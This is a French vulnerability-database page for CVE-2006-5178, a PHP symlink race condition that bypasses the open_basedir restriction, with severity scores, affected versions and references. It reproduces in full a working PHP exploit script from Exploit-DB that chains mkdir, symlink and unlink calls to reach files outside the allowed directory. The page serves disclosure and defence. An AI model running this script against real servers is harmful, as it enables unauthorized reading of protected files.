CVE-2006-5178 : Détail

CVE-2006-5178

0.05%V3
Local
2006-10-05
22h00 +00:00
2018-10-17
18h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Race condition in the symlink function in PHP 5.1.6 and earlier allows local users to bypass the open_basedir restriction by using a combination of symlink, mkdir, and unlink functions to change the file path after the open_basedir check and before the file is opened by the underlying system, as demonstrated by symlinking a symlink into a subdirectory, to point to a parent directory via .. (dot dot) sequences, and then unlinking the resulting symlink.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.2 AV:L/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 10557

Date de publication : 2009-12-18 23h00 +00:00
Auteur : Maksymilian Arciemowicz
EDB Vérifié : Yes

<?php /* PHP 5.2.12/5.3.1 symlink() open_basedir bypass by Maksymilian Arciemowicz http://securityreason.com/ cxib [ a.T] securityreason [ d0t] com CHUJWAMWMUZG */ $fakedir="cx"; $fakedep=16; $num=0; // offset of symlink.$num if(!empty($_GET['file'])) $file=$_GET['file']; else if(!empty($_POST['file'])) $file=$_POST['file']; else $file=""; echo '<PRE><img src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit from <a href="http://securityreason.com/" title="Security Audit PHP">Security Audit Lab - SecurityReason</a> labs. Author : Maksymilian Arciemowicz <p>Script for legal use only. <p>PHP 5.2.12 5.3.1 symlink open_basedir bypass <p>More: <a href="http://securityreason.com/">SecurityReason</a> <p><form name="form" action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>'; if(empty($file)) exit; if(!is_writable(".")) die("not writable directory"); $level=0; for($as=0;$as<$fakedep;$as++){ if(!file_exists($fakedir)) mkdir($fakedir); chdir($fakedir); } while(1<$as--) chdir(".."); $hardstyle = explode("/", $file); for($a=0;$a<count($hardstyle);$a++){ if(!empty($hardstyle[$a])){ if(!file_exists($hardstyle[$a])) mkdir($hardstyle[$a]); chdir($hardstyle[$a]); $as++; } } $as++; while($as--) chdir(".."); @rmdir("fakesymlink"); @unlink("fakesymlink"); @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink"); // this loop will skip allready created symlinks. while(1) if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break; else $num++; @unlink("fakesymlink"); mkdir("fakesymlink"); die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>'); ?>

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.1.6

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.5

Php>>Php >> Version 4.0.6

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.1.0

Php>>Php >> Version 4.1.1

Php>>Php >> Version 4.1.2

Php>>Php >> Version 4.2

    Php>>Php >> Version 4.2.0

    Php>>Php >> Version 4.2.1

    Php>>Php >> Version 4.2.2

    Php>>Php >> Version 4.2.3

    Php>>Php >> Version 4.3.0

    Php>>Php >> Version 4.3.1

    Php>>Php >> Version 4.3.2

    Php>>Php >> Version 4.3.3

    Php>>Php >> Version 4.3.4

    Php>>Php >> Version 4.3.5

    Php>>Php >> Version 4.3.6

    Php>>Php >> Version 4.3.7

    Php>>Php >> Version 4.3.8

    Php>>Php >> Version 4.3.9

    Php>>Php >> Version 4.3.10

    Php>>Php >> Version 4.3.11

    Php>>Php >> Version 4.4.0

    Php>>Php >> Version 4.4.1

    Php>>Php >> Version 4.4.2

    Php>>Php >> Version 4.4.3

    Php>>Php >> Version 4.4.4

    Php>>Php >> Version 5.0

      Php>>Php >> Version 5.0

        Php>>Php >> Version 5.0

          Php>>Php >> Version 5.0.0

          Php>>Php >> Version 5.0.1

          Php>>Php >> Version 5.0.2

          Php>>Php >> Version 5.0.3

          Php>>Php >> Version 5.0.4

          Php>>Php >> Version 5.0.5

          Php>>Php >> Version 5.1.0

          Php>>Php >> Version 5.1.1

          Php>>Php >> Version 5.1.2

          Php>>Php >> Version 5.1.3

          Php>>Php >> Version 5.1.4

          Php>>Php >> Version 5.1.5

          Références

          http://www.securityfocus.com/archive/1/448953/100/0/threaded
          Tags : vendor-advisory, x_refsource_OPENPKG
          http://www.turbolinux.com/security/2006/TLSA-2006-38.txt
          Tags : vendor-advisory, x_refsource_TURBO
          http://www.securityfocus.com/bid/20326
          Tags : vdb-entry, x_refsource_BID
          http://securityreason.com/securityalert/1692
          Tags : third-party-advisory, x_refsource_SREASON
          http://secunia.com/advisories/22235
          Tags : third-party-advisory, x_refsource_SECUNIA
          http://www.vupen.com/english/advisories/2006/3901
          Tags : vdb-entry, x_refsource_VUPEN
          http://www.mandriva.com/security/advisories?name=MDKSA-2006:185
          Tags : vendor-advisory, x_refsource_MANDRIVA
          http://securitytracker.com/id?1016977
          Tags : vdb-entry, x_refsource_SECTRACK
          http://secunia.com/advisories/22424
          Tags : third-party-advisory, x_refsource_SECUNIA